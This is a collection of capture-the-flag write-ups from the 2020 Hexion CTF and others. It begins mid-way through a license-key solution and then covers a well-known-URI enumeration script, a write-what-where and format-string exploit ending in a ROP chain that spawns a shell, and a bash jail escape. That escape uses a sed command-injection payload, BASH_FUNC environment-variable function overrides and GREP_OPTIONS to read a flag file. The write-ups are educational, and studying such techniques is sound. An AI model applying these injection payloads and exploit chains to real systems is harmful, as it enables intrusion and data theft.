oldEmail.count("*")):# return False key[27] = l(email[24], email[25], oldEmail.count('*'))``` And we are done! We now reached that sweet sweet statement we've been trying to get to: ```pythonreturn True``` All that's left is to convert the license to a string, and print it to the screen! ```pythons = ''for i in key: ## convert array to string s += chr(int(i)) return "Your key is: " + s``` And if you're interested, here's what main looks like: ```pythondef main(): email = input("What email do you want to use? ") print(getLicense(email))``` And we're done! That's it! All you have to do is connect to the server using netcat and get the flag! Unfortunately, I wasn't able to get the flag. I finished it an hour after the CTF was over, but it still was a really fun challenge! If you want to see the final solution script, it's right [here](sol.py).
# Well Known This task was part of the 'Web' category at the 2020 Hexion CTF (during 11-13 April 2020).It was solved by [The Maccabees](https://ctftime.org/team/60231) team. # The challenge Description: ```Well... it's known (:https://wk.hexionteam.com``` When entering the website, we get a 404 error code. The challenge name and description indicates this has some connections to [RFC8615](https://tools.ietf.org/html/rfc8615) - which defines a path prefix in HTTP(S) URIs for these "well-known locations", "/.well-known/".This wikipedia page lists all the possible well-known URIs: [List of /.well-known/ services offered by webservers](https://en.wikipedia.org/wiki/List_of_/.well-known/_services_offered_by_webservers). So we just iterated over all of them in this python script: ```python#!/usr/bin/env pythonimport requestsdomain = "https://wk.hexionteam.com/.well-known/{}"well_known_uris = [ "acme-challenge", "ashrae", "assetlinks.json", "caldav", "carddav", "coap", "core", "csvm", "dnt", "dnt-policy.txt", "est", "genid", "hoba", "host-meta", "host-meta.json", "http-opportunistic", "keybase.txt", "mercure", "mta-sts.txt", "ni", "openid-configuration", "openorg", "pki-validation", "posh", "reload-config", "repute-template", "resourcesync", "security.txt", "stun-key", "time", "timezone", "uma2-configuration", "void", "webfinger", "apple-app-site-association", "apple-developer-merchantid-domain-association", "browserid", "openpgpkey", "autoconfig/mail", "change-password", "nodeinfo", ] for well_known_uri in well_known_uris: d = domain.format(well_known_uri) r = requests.get(d) if r.status_code != 404: print(well_known_uri)``` The script returned two results: ```http-opportunisticsecurity.txt``` When browsing to the `security.txt` URI, we get the flag! ```Flag: hexCTF{th4nk_y0u_liv3_0v3rfl0w}```
# WWW This task was part of the 'PWN' category at the 2020 Hexion CTF (during 11-13 April 2020).It was solved by [or523](https://github.com/or523), in [The Maccabees](https://ctftime.org/team/60231) team. My full solution is available [here](solve.py). ## The challenge The challenge is a very simple pwning challenge. We get a netcat access to a server running the following code: ```c#include <stdio.h>#include <stdlib.h>#include <unistd.h> void write(char what, long long int where, char* buf) { buf[where] = what;} char what() { char what; scanf("%c", &what); getchar(); return what;} long long int where() { long long int where; scanf("%lld", &where); getchar(); return where;} int main(void) { setvbuf(stdout, NULL, _IONBF, 0); int amount = 1; char buf[] = "Hello World!"; while (amount--) { write(what(), where(), buf); } printf(buf);}``` Basically, we get here a write primitive of a controlled byte-value, to a controlled offset from some buffer on the stack.When the function finishes, this buffer on the stack is used as the first argument for `printf` (as a format string). The goal is, of course - to execute arbitrary code on the server. ## The solution ### Observations Some simple initial observations: 1. The binary itself is not randomized (but `libc` and the stack are).2. The order to the `what()` and `where()` invocations swapped in compilation (parameters to a function are not evaluated in a defined order in C). ### Improving the write primitive The main thing holding us back is that we can only use the primitive once - the `amount` variable is initialized to 1. But in the compiled binary, this variable is also stored on the stack (in offset of `-7` bytes from `buffer`) - which mean we can use our first write primitive in order to overwrite the `amount` variable.Meaning - we can improve the primitive in order to gain as many WWW primitives as we want. ### Leaking addresses Now that we have the ability to write as many bytes as we want - we understand that we need to leak addresses of the memory space: leaking the stack would allow us to convert our relative-write primitive to absolute-write (because we would know the base of the write); and leaking `libc` would give us the addresses of useful gadgets for code executions. Leaking these addresses can be used by abusing the fact we control the format string to the `printf` function. For example - we can abuse the `"%15$p"` feature of format-strings, in order to leak the "15th argument" of `printf` (meaning we can just leak data from any offset of the stack we want). By trial-and-error, we get to the following conclusions: 1. `"%13$p"` is the return address of the `main` address, which is an address inside `libc` - of the `__libc_start_main` function.2. `"%15$p"` is an address of the stack, which is in constant offset from `buffer`. ### Resuming execution after leak Notice a caveat in the leaking primitive - the `printf` function is called only after we finish the loop of write primitives. In order to keep using the write primitives after we finish, we can control execution and jump back to the `_start` function - which will cause the program to re-start again. There are 2 ways we control the execution to reuse the write primitive after a leak: 1. Override the return address (constant offset from `buffer` on the stack).2. If we have an absolute-write primitive (after we've leaked a stack address) - we can overwrite the `__stack_chk_fail` GOT entry to our own address, and then overwrite the stack cookie of the `main` function with some wrong value. We can't rely only on the first method, because one of the addresses we want to leak **is **the return address, and if we'll overwrite it - the `printf` obviously won't be able to leak the original value. ### Code execution After leaking the addresses of both `libc` and the stack, we can just write our ROP chain to the stack. This is a rather simple ROP chain, which ends of calling `execv("/bin/sh", {"/bin/sh", NULL})` (using our write primitive and addresses from libc). ### Final Exploit Flow 1. First session: 1. Increase write-primitive amount by overwriting `amount` variable. 2. Write `"%15$p"` to the format string in order to leak a stack address. 3. Write `_start` address to the return address to start a new session of WWW primitives. 4. Finish loop and leak stack address! (now we have absolute R/W primitive).2. Second session: 1. Increase write-primitive amount by overwriting `amount` variable. 2. Write `"%13$p"` to the format string in order to leak a `libc` address. 3. Write `_start` address to the GOT entry of `__stack_chk_fail`. 4. Write 0 on the stack cookie. 5. Finish loop and leak libc address!3. Third session: 1. Increase write-primitive amount by overwriting `amount` variable. 2. Write necessary information (like `argv`) to a data cave in the `.data` section. 3. Construct `execv("/bin/sh", {"/bin/sh", NULL})` ROP chain and write it on the stack. 4. Finish loop to achieve code execution! After running shell, we can `cat` the flag from a file, which is: `hexCTF{wh0_wh1ch_why_wh3n?}`. ## Aftermath After reading some write-ups, turns out my solution is way more complex than it should be (this was also my assumption during the CTF). My mistake was overlooking some offsets that could allow me to leak `libc` while still overwriting the return address (such as `%29$p`), allowing me to skip the third session. I think the reason this offset didn't work for me is that I tried to make the exploit generic to both my own and the remote `libc`, and the stack offsets beyond the `main` function has changed too much to be consistent. Thanks for reading! ~ **or523**
# Environmental Issues We were given 4 files **issues.txt** - Text file, nothing interesting **config.json** - Contained placeholders for 4 flags **challenge.py** - This script asks us for a arrays of `[key , value , arg ]` For each [key,value,arg], it generates a random flag and writes it to a temporary file and invokes a bash script `script.sh` loaded in nsjail where we control 2 parameters. We are allowed to set 1 environment variable specified by `key=value` and one argument per script.sh invocation Our goal is to read this flag by modifying the inputs to the script.Now the limitation here is we are not allowed to use one enviorment variable more than once and we need 10,13,15 unique solutions to get flags 1,2 and 3 **script.sh** - ```set -xif ! test -z "$USE_SED"then echo "Sedsss" line="$(sed -n "/${1:?Missing arg1: name}/p" issues.txt)"else line="$(grep "${1:?Missing arg1: name}" < issues.txt)"fiecho "$line" silent() { "$@" &>/dev/null; return "$?"; } quiet() { bash -c 'for fd in /proc/$$/fd/* do eval "exec ${fd##*/}>&-" done; "$@" &> /dev/null' bash "$@"; } if ! silent hash imaginarythen silent imaginary quiet cat flagfi``` If the `USE_SED` variable is present it executes sed , otherwise it executes grep with user supplied argument. `silent hash imaginary` executes hash command, redirects stdout to /dev/null returns the exit code `quiet cat flag` - The quiet function iterates over each file descriptor and closes them. Further it executes cat flag and redirects stdout to /dev/null. **Solution** Our goal was to read the file /flag to stdout or stderr either by code execution or just a file read. **#1** We first started with the 'sed' command.Looking at https://gtfobins.github.io/gtfobins/sed/ , we can see that we can execute commands using `sed -n '1e id' /etc/hosts`However our input was wrapped inside `/(arg)/p` so modifying the arg to `Habitat/p;1e cat flag;#` gave us one solution. `;` allowed us to use multiple sed commands and `#` bypassed the last `/p`. So now we had code execution, but inside the jail where everything but `/dev` was mapped RO and would not survive another restart.So we quickly fiddled around with `/dev` trying to link `/dev/stdout` to `/dev/null`, however this too did not survive a restart. **#2-9** After endless searching about bash and exploring for special enviorment variables we came across ShellShock. Bash previously allowed function declaration using simple enviorment variables. Yes.https://unix.stackexchange.com/questions/233091/bash-functions-in-shell-variables To declare a function simply set `foo='() { echo "Inside function"; }'` Now you can call `bash -c 'foo'` This was pre-2016. After the shellshock vulnerability, the feature was removed :/ However if you exported a function using `export -f` you can see bash still stores the function in enviorment variable but with a different syntax`BASH_FUNC_foo%% = () { echo "Inside function"; }` So I did a quick test ```[ "BASH_FUNC_foo%%", "() { cat flag\n}", "X"]```and add a call to foo in script and ran the script. It worked. So now the plan was to override the function calls in the script.`set , test , grep , echo , eval , exec , bash , return` Now that is 8 overrides + 1 from the SED call, we were one away from a flag. **#10** Now hash did not work because stdout was redirected to null.So we did this. ```[ "BASH_FUNC_hash%%", "() { function return() { cat flag; } \n}", "X"]``` Calling hash will now override return So we got 10 and **1 flag** Now we needed 3 more for one more flag. **#11** The man page for grep listed a environment variable `GREP_OPTIONS` which allows us to set grep agruments through environment variable.So to execute `grep -f flag --include=flag` using ```[ "GREP_OPTIONS", "-fflag --include=flag", "-r"] ``` The solution `grep '-rfflag'` worked, but it timedout searching all directories recursively inside the jail. We could not get any further, however the other four bypasses were1. Override `cat`2. Bash environment variables `PS4` `BASH_ENV`3. The most difficult one to figure out was overriding `_command_not_found_handle` P.S There was a uninteded solution by Bushwhackers `[["X", "Y", "-Irf/flag"]]` which worked everytime
# Hashing@Home (pwn, 231+10 pts, 14 solved) The server uses the memory addresses of `hash_rpc_context` structures as request ids to track work delegated to its clients.However the verification of any request ids received by the server in client responses is insufficient and the clients may abuse this to overwrite any memory locations that pass simple check for valid `hash_rpc_context` structure header. Further, it is possible for the clients to sent arbitrary response data to be stored as `data_to_hash` member of existing `hash_rpc_context` structures in server memory.This allows the clients to craft fake `hash_rpc_context` structures that pass server checks. The above may be used to read arbitrary server memory by overwriting `hash_rpc_context` structure of `first_context` and next triggering `hash_together_the_first_two`.This xors arbitrary memory location with known bytes and sends result as new request to the client. My [exploit](exploit.py) uses this to extract content of `key_bytes` containing the flag.